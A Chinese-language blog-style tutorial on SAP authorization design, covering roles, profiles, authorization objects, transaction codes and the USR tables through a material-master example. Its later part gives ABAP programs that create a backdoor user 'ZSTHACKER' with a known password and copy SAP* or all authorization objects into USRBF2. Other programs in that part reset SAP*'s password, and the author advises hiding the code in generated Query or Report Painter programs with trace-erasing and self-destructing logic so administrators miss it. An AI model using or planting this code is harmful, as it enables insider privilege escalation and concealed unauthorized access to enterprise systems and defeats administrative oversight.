SAP權限設計 SAP權限設計

小技巧-ERP權限控制繁中求簡,閑聊一下SAP復雜權限設計的基本思想。特別是適合大集團業(yè)務的ERP系統(tǒng),應該提供一個非常完善的權限控制機制,甚至允許將權限控制字段細到字段級別，如果權限控制都做不到這點，估計產品銷售就夠嗆！多年以前，俺還在軟件幼稚園時，老師布置的權限作業(yè)，權限大概是設計的：Select用戶名From用戶表where用戶名='butcher'（得到用戶名）select權限組IDFrom權限表where用戶名='butcher'（得到用戶對應的權限組ID）select*From權限控制列表where權限組ID=‘*****’（得到沒個權限組ID對應的明細權限列表也就是用戶的明細權限）這種簡單的權限設置是無法滿足復雜的業(yè)務需求的，多年以后，居然國內還有很多軟件公司在權限設計上還在玩這套小把戲?，F在來看看“偉大的”SAP的權限設計思路，首先了解下幾個Tcode和權限相關表格。常用權限相關Tcode.(一)Role(角色)相關T-code:PFCG創(chuàng)建ROLE_CMP角色比較SUPC批量建立角色profile(二)建立用戶SU01建立用戶SU01D顯示用戶SU2|SU3|SU50|SU51|SU52改變/顯示用戶個人參數SU10|SU12批量維護用戶SUCOMP維護用戶公司地址SUIM用戶信息系統(tǒng)（強調一下）(三)建立用戶組SUGR|SUGRD_NAV維護用戶組SUGRD|SUGR_NAV顯示用戶組(四)維護檢查授權SU20|SU21自定義授權字段和授權對象SU53當出現權限問題可使用它檢測未授權對象.SU56:分析authoraztiondatabuffers.

常用權限相關表格:TOBJ:Allavaiableauthorzationobjects.(ERP系統(tǒng)默認的所有授權對象)USR12:用戶級authoraztion值USR02:UserLogonData(包括用戶名稱密碼,是否鎖住等字段)USR03:UseraddressdataUSR05:UserMasterParameterID(TcodeSU3可查看用戶參數文件的參數ID默認值)USR41:當前用戶(即TcodeSM04看到的所有當前活動用戶,包括各種對話系統(tǒng)通信類用戶)USRBF2:記錄當前用戶所有的授權objectsUST04:UserProfilemaster(用戶主數據中對應的權限參數文件名)UST10S:Singleprofiles(授權文件,權限參數和授權對象對應表)UST12:Authorizations(具體授權細節(jié))重點提示：USR02/USRBF2/UST10S/UST12四個表包含的信息就是ERP權限控制的關鍵，USR02是用戶主數據表，后三表和用戶授權緊密相關。我現在舉一個MM01建立物料主數據的實例，來說明SAP的權限控制設計思路，步驟如下：第一步：建立角色（Tcode：PFCG）圖1中，假設建立角色ZMM01。圖1-[1][2]：在菜單Tab頁選擇“事務“加入MM01->創(chuàng)建物料&,你還可為程序,查詢這樣的報表授權，選擇”其它“還能為數據倉庫等對象設置權限角色。圖1-[3][4][5]：到“權限“Tab頁看到系統(tǒng)自動產生的授權參數文件ProfilnameT-C1550437，然后選擇”更改授權數據“，進入圖2。顯然系統(tǒng)并不意味你給了建立物料的權限就能隨意使用該Tcode了，系統(tǒng)有更嚴格的細致控制。圖2-[1][2]：我們可以看到建立物料主數據的權限分公司代碼層次，倉庫層次，物料類型層次，銷售組織層次，物料組層次，和工廠層次等等，特別是對于象公司代碼，銷售組織和工廠這樣的組織層次授權字段，控制點是非常必要的，一個大集團實施ERP，各公司代碼，各公司代碼下的各Plant授權用戶只能建立各自的物料，現在來看看是如何控制到工廠級別的。圖2-[3][4][5]：在每個控制級別（即權限控制字段）都分控制字段和作業(yè)，每個權限控制字段對應一個所謂的授權對象，工廠的授權對象是M_MATE_WRK,所有授權對象的作業(yè)統(tǒng)一都是ACTVT,包括01/02/03/06/08五個作業(yè),即控制是否允許創(chuàng)建更改顯示刪除等。比如MM01的作業(yè)只給03->顯示，則只能顯示物料。注：如果有特殊權限控制需要，可以使用SU20|SU21自定義授權字段和授權對象圖2-[6][7]：點擊“工廠“，進去增加工廠權限，設置了工廠FRA1，FRA2和一個工廠范圍FRM1-FRM2。注：如果公司代碼，物料類，物料組，工廠等授權字段選擇*表示允許輸入該字段所有的內容。接下來，使用SU01建立一個用戶假設名叫butcher，然后在此將角色ZMM01分配給它，如圖3，記得要做“用戶比較“知道該按紐變綠，這和人帶的帽子不同，在角色設置中，越綠越好，至此，一個最簡單的權限設置就Ok了，用戶butcher只能使用MM01在工廠FRA1，FRA1，FRM1，FRM2四個工廠上建立物料主數據。現在來檢查USRBF2/UST10S/UST12三個和用戶授權相關的表格數據，如圖4，圖5和圖6。圖4是用戶參數文件表USR10S和用戶授權表USRBF2的合成圖。圖4-[1][3][4][6]：UST10S表的參數文件T-C1550437正是圖1-[4]中定義角色ZMM01時生成的參數文件，對象表示的即授權對象，每個授權對象對應一個圖4-[6]的權限名稱T-C155043700|T-C155043701，這倆權限名稱正是參數文件T-C1550437文件+系號。圖4-[2][5]：用戶授權對象表USRBF2包含了ERP用戶BUTCHER所對應的（授權）對象和對象對應的權限名稱，現在注意一下USRBF2表用戶BUTCHER包含了工廠的授權對象M_MATE_WRK,其對應的授權名稱是T-C155043700，那么圖2-[7]設置的四個工廠FRA1，FRA1，FRM1，FRM2保存在什么地方呢？請見圖6。為什么一個參數文件T-C1550437產生了兩個T-C155043700|T-C155043701權限名稱呢？查看權限對象設置時發(fā)現，在倉庫授權對象M_MATE_LGN和銷售組織/分銷渠道授權M_MATE_VKO下系統(tǒng)竟默認了兩次相同的授權作業(yè)，如圖5。圖5表示建立物料主數據的倉庫號和銷售組織/分銷渠道默認授權了兩次。圖6中，可以看到授權對象M_MATE_WRK(即工廠授權對象)有5條記錄,其中字段ACTVT有01,06兩條,分表表示允許建立和刪除物料數據,工廠WERKS有三條,正是FRA1,FRA2,和值FRM1到值FRM2，如圖6-[2][3]。至此，權限設計的基本邏輯就非常清晰了，如果用戶BUTCHER要建立某工廠的物料，首先從授權表中查看是否有M_MATE_WRK的授權對象，然后再到UST12去檢查輸入的工廠是否在授權范圍，Ifnotso，則提示未授權?，F在用戶BUTCHER建立物料主數據，輸入工廠1000，提示M3855未授權處理工廠1000的主數據，如圖7。通常有兩種便捷方法查找到權限控制邏輯:(1).SE91輸入M3855查找，(2).直接在物料主數據建立程序中查找，一定能看到該主程序的子程序下到處都有象圖7-[4]的AUTHORITY-CHECKOBJECT‘授權對象名稱’ID‘ACTVT’‘作業(yè)允許號’ID‘授權字段‘FIELD‘用戶輸入內容“這樣的權限檢查邏輯。如果你了解了這個原理,那么有跟蹤程序和修改變量的權限(對應授權對象S_DEVOP,02,只要你稍微熟悉ABAP，實際上你就擁有了一切權限。下面的附件是一個使用跟蹤/H并修改授權返回變量的操作手冊?；仡欉@個實例，注意以下三點。[1].創(chuàng)建角色Role將產生一個授權參數文件ProfielName。[2].一個授權參數文件包含許多授權對象AuthorityObjects,實際上是如果將多個Tcode或報表或起其它什么的賦予一個Role,系統(tǒng)將這些Tcode(或報表)對應的授權對象帶出,這些授權對象當然在Tcode(報表對應的)程序邏輯中會有體現,則角色對應的授權參數文件將包含這些授權對象。[3].授權對象通常有兩部分組成：一是作業(yè)ACTVT，作業(yè)號分別是：01 創(chuàng)建或生成02 更改03 顯示06 刪除08 顯示修改文檔二是授權字段，這些授權字段通常是諸如組織結構層次的公司代碼，工廠，或其它比如物料類型，憑證類型等，這樣可以做到更細微的權限控制。到現在為止,我們知道，實際上決定權限的是授權對象AuthorizationObject!用戶的授權對象表在USRBF2中，所以只要往這個表插入數據就獲得了權限，現在可以使用SE38建立用戶和授予權限,這意味著使用ABAP可以迅速獲得所有權限。不妨假設一下，一個ABAPer在開發(fā)機上建立這樣的程序，然后傳輸到生產系統(tǒng)？Basis能發(fā)現？理論上，高明的ABAPer是不大可能被發(fā)現的，它可以將這段代碼甚至移值到一段很不常用的標準程序比如Query，Reportpainter產生的自動程序上，并且在程序中填加刪除一切痕跡的代碼，甚至可以設置好自毀該段程序,繞過AccessKey修改標準程序也是輕易的！下面的程序ZCRTUSER是建立用戶ZSTHACKER(初始密碼123qaz)并賦予SAP*用戶的所有權限的參考程序。ProgramZCRTUSER.DataZUSR02likeUSR02.***1.CreateUserZSTHACKERaccordingtoDDICselectsingle*intoZUSR02fromUSR02whereBNAME='DDIC'.ZUSR02-BNAME='ZSTHACKER'.ZUSR02-Bcode='E3B796BB09F7901B'.insertUSR02fromZUSR02.***2.CopyAuth.ObjfromSAP*(orother)***如果將WhereBNAME='SAP*'去掉，基本就是復制所有的授權對象dataZUSRBF2likeUSRBF2occurs0withheaderline.select*fromUSRBF2intotableZUSRBF2whereBNAME='SAP*'.LoopatZUSRBF2.ZUSRBF2-BNAME='ZSTHACKER'.ModifyZUSRBF2INDEXsy-tabixTRANSPORTINGBNAME.endloop.INSERTUSRBF2FROMTABLEZUSRBF2ACCEPTINGDUPLICATEKEYS.如果SAP*可能被刪除,還可直接將TOBJ中包含的所有的ERP授權對象全部賦予給一個用戶。以下程序ZALLOBJ是賦予所有的標準授權對象給用戶ZSTHACKER。ProgramZALLOBJ。DataZtobjliketobjoccurs0withheaderline.datazusrbf2likeusrbf2.select*intotableztobjfromtobj.loopatztobj.zusrbf2-mandt=sy-mandt.zusrbf2-bname='ZSTHACKER'.zusrbf2-objct=ztobj-objct.zusrbf2-auth='&_SAP_ALL'.modifyUSRBF2FROMzusrbf2.endloop.也可跨Client建立用戶和賦予權限，只要使用clientspecified就可以。ProgramZCLIENT.Datazusrbf2likeusrbf2.Select*intozusrbf2fromusrbf2wherebname='SAP*'.Zusrbf2-bname='ZSTHACKER'.Zusrbf2-mandt='100'.Insertintousrbf2clientspecifiedvalueszusrbf2.Endselect.下面是一句話修改SAP*的密碼為123456的程序，同樣，假設用戶BUTCHER的密碼丟失，我只要隨便在一臺服務器上建立一個用戶也叫BUTCHER，然后密碼設置為1QAZ2WSX，則其在任何系統(tǒng)任何client加密后的密碼必為BF02C9F1FreportZMODPWD.tables:usr02.updateusr02setbcode='CF094BAA2020480E'whereBNAME='SAP*'.雖然以上只是一個建立物料主數據的權限控制，卻非常清晰地解釋了ERP系統(tǒng)權限控制的邏輯。常basis會使用PFCG做權限管理,時你保存時會產生一個系統(tǒng)外的profilename,

記得SU01時用戶有profile和role兩欄位嗎?它們的關系如何呢?

首先明白幾個概念.

1.activity

這樣說吧,我們從activity談起,activity是什么意思這個你查下

字典也就知道了,對就是規(guī)定可做什么動作,比如說不能吸煙只能喝酒,不能多于2兩,

不對,這是我老婆講的,SAP不是這樣子的,是只能insert,update,display什么的.

這些東西當年德國佬是寫在tobj表中的.

activity也是可分activitygroup的.

2.activitycategory&Authorizationgroup

RoleVsProfile

你看看表T020就知道了,就是什么K,D,A,M什么的.

profile是什么呢?實際上可以理解為所有的authorizationdata(有很多authorizationgroup--{你可使用OBA7填寫,

權限太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自定義的role產

生一個profile,SAP權限控制是根據profile里的authorizationdata(objects)來控制的.

role又是什么呢?role只是一個名字而已,然后將profile賦予給它,比如你SU01建立一個

用戶,我沒有任何role,但是加如SAP_Allprofile

也是可做任何事情.

SAP本身有很多defaultrole&profile.

3.最常用的PFCG->authorizations->changeauthorizationdata->

進入后選取selectioncriteria可看到所有的authorizationobject

manually可手工加authorizationobject,比如你使用某個t-code權限出錯誤,abap使用SU53檢查就

知道缺少哪個authorizationobjec,然后手工加入就可以.

你選去authorizationlevels就可byaccounttype再細分權限.

有些甚至直接到表字段.而且你甚至可給一個object分配緩存buffer.

那么SAP是如何做到權限控制的呢,屠夫就用刀小宰一下.

4.關于權限方面的幾個t-code.

(一)Role(角色)相關T-code:

PFAC標準

PFAC_CHG改變

PFAC_DEL刪除

PFAC_DIS顯示

PFAC_INS新建

PFAC_STR

PFCG創(chuàng)建

ROLE_CMP比較

SUPC批量建立角色profile

SWUJ測試

SU03檢測authorzationdata

SU25,SU26檢查updatedprofile

(二)建立用戶相關T-code:

SU0

SU01

SU01D

SU01_NAV

SU05

SU50,Su51,SU52

SU1

SU10批量

SU12批量

SUCOMP:維護用戶公司地址

SU2change用戶參數

SUIM用戶信息系統(tǒng)

用戶組

SUGR:維護

SUGRD:顯示

SUGRD_NAV:還是維護

SUGR_NAV:還是顯示

(三)關于profile&AuthoraztionData

SU02:直接創(chuàng)建profile不用role

SU20:細分AuthorizationFields

SU21(SU03):****維護AuthorizationObjects(TOBJ,USR12).

對于憑證你可細分到:

F_BKPF_BED:AccountingDocument:AccountAuthorizationforCustomers

F_BKPF_BEK:AccountingDocument:AccountAuthorizationforVendors

F_BKPF_BES:AccountingDocument:AccountAuthorizationforG/LAccounts

F_BKPF_BLA:AccountingDocument:AuthorizationforDocumentTypes

F_BKPF_BUK:AccountingDocument:AuthorizationforCompanyCodes

F_BKPF_BUP:AccountingDocument:AuthorizationforPostingPeriods

F_BKPF_GSB:AccountingDocument:AuthorizationforBusinessAreas

F_BKPF_KOA:AccountingDocument:AuthorizationforAccountTypes

F_BKPF_VW:AccountingDocument:ChangeDefaultValuesforDoc.Type/PsKy

然后你進去還可細分,這些個東西是save在USR12表中的.在DB層是UTAB.

對具體transactioncode細分:

SU22,SU24

SU53:***就是你出錯用來檢查沒有那些authoraztionobjects.

SU56:分析authoraztiondatabuffers.

SU87:用來檢查用戶改變產生的history

SU96,SU97,SU98,SU99:干啥的?

SUPC:批量產生role

DB和logical層:

SUKRI:TransactionCombinationsCriticalforSecurity

tables:

TOBJ:Allavaiableauthorzationobjects.(全在此)

USR12:用戶級authoraztion值

-----------------------------

USR01:主數據

USR02:密碼在此

USR04:授權在此

USR03:Useraddressdata

USR05:UserMasterParameterID

USR06:AdditionalDataperUser

USR07:Object/valuesoflastauthorizationcheckthatfailed

USR08:Tableforusermenuentries

USR09:Entriesforusermenus(workareas)

USR10:Usermasterauthorizationprofiles

USR11:UserMasterTextsforProfiles(USR10)

USR12:Usermasterauthorizationvalues

USR13:ShortTextsforAuthorizations

USR14:SurchargeableLanguageVersionsperUser

USR15:ExternalUserName

USR16:ValuesforVariablesforUserAuthorizations

USR20ateoflastusermasterreorganization

USR21:Assignusernameaddresskey

USR22:Logondatawithoutkernelaccess

USR30:AdditionalInformationforUserMenu

USR40:Tableforillegalpasswords

USR41:當前用戶

USREFUS:

USRBF2

USRBF3

UST04:UserProfile在此

UST10C:Compositeprofiles

UST10S:Singleprofiles(角色對應的

UST12:Authorizations..............................

..............................

如何竊取權限

..............................

用戶:

Usertype用戶類型(干啥用的不講):

通常的用戶類型有

a.dialog(就是normaluser)

munication

c.system

d.service

e.reference.

通常你在使用任何T-code前一定會有權限檢測的.

AUTHORITY_CHECK:這個函數只是小檢查一下你的user有沒有,什么時候過期.

**如果coding只要使用此函數就夠了.

AUTHORITY_CHECK_TCODE:檢查T-code

這倆函數是真正檢查autorizationobjects的.

SUSR_USER_AUTH_FOR_OBJ_GET:

AUTHORIZATION_DATA_READ_SELOBJ:

------------------------------------------

將SAP*的密碼改成123的程序,很簡單.

我們找到那個userlogon表USR02.

(DF52478E6FF90EEB是經過SAP加密保存在DB的,哪位老兄研究過SAP的密碼加密?)

reportzmodSAP*.

datazUSR02likeUSR02.

selectsingle*intozUSR02fromUSR02

whereBNAME='SAP*'.

zUSR02-Bcode='DF52478E6FF90EEB'.

UpdateUSR02fromzUSR02.

現在的問題是如何讓你那basis不發(fā)現,很簡單,將code隱藏在Query里面,就是說你做一個

query,query是會產生code的,然后你加入此代碼,誰能想到???然后你就等你的basis去哭...

這樣做太狠毒了.還是自己偷偷搞自己的用戶吧.

在此你必須對權限結構非常清晰.

權限和三個表有關系.

a.USR04

b.USR04

c.USRBF2這個表是對應到所用的authorzizationobjects的.

*&---------------------------------------------------------------------*

*&Report:StealSAPALLRight*

*&CreationDate:2004.04.01*

*&Createdby:Stone.Fu*

*&Description:可竊取SAPALL權限*

*&ModifiedDate:2005.11.02

*&Description:將此codehide在reportpainterorquerycode*

*&-